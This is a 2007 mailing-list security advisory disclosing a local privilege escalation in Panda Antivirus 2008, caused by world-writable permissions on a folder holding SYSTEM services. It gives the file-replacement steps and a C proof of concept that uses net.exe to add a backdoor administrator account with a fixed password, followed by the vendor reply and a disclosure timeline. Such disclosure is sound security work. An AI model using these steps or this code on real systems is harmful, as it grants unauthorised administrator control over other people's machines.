

Panda Antivirus 2008 Local Privileg Escalation (UPS they did it again)

Source: <http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2007-08/msg00027.html>

- *From:* tarkus@xxxxxxxxx
 - *Date:* 2 Aug 2007 19:51:13 -0000
-

Security Advisory

Severity: Medium

Title: Panda Antivirus 2008 Local Privileg Escalation

Date: 02.08.07

Author: tarkus (tarkus (at) tiifp (dot) org)

URL: <https://tiifp.org/tarkus>

Vendor: Panda (<http://www.pandasoftware.com/>)

Affected Products: Panda Antivirus 2008

Not Affected Products: – Panda Internetsecurity 2008

– Panda Antivirus + Firewall 2008

Description:

1. During installation of Panda Antivirus 2008 the permissions for installation folder %ProgramFiles%\Panda Security\Panda Antivirus 2008\ by default are set to Everyone:Full Control. Few services (e.g. PAVSRV51.EXE) are started from this folder. Services are started under LocalSystem account. There is no protection of service files. It's possible for unprivileged user to replace service executable with the file of his choice to get full access with LocalSystem privileges. Or to get privileges or any user (including system administrator) who logons to vulnerable host. This can be exploited by:

- a. Rename PAVSRV51.exe to PAVSRV51.old in Panda folder
- b. Copy any application to PAVSRV51.exe
- c. Reboot

Upon reboot trojaned application will be executed with LocalSystem account.

Panda Antivirus 2008 Local Privilege Escalation (UPS they did it again)

BTW: Check this from last year (<http://www.securityfocus.com/bid/19891>)

POC:

```
#include <windows.h>
#include <stdio.h>

INT main( VOID )
{
  CHAR szWinDir[ _MAX_PATH ];
  CHAR szCmdLine[ _MAX_PATH ];

  GetEnvironmentVariable( "WINDIR", szWinDir, _MAX_PATH );

  printf( "Creating user \"owner\" with password \"PandaOWner123\"...\n" );

  wsprintf( szCmdLine, "%s\\system32\\net.exe user owner PandaOWner123 /add", szWinDir );

  system( szCmdLine );

  printf( "Adding user \"owner\" to the local Administrators group...\n" );

  wsprintf( szCmdLine, "%s\\system32\\net.exe localgroup Administrators owner /add", szWinDir );

  system( szCmdLine );

  return 0;
}
```

Vendor Response:

```
[...]
Thank you very much for having reported us this piece of information.
This feedback will allow us to keep improving our products and to
prepare new releases that will fit your actual needs and helps us to
create a better product.
[...]
```

Disclosure Timeline:

```
2007.06.07 – Vulnerability found
2007.06.07 – Reported to Vendor (Until Beta)
2007.07.31 – Released by vender
2007.08.02 – Public Disclosure
```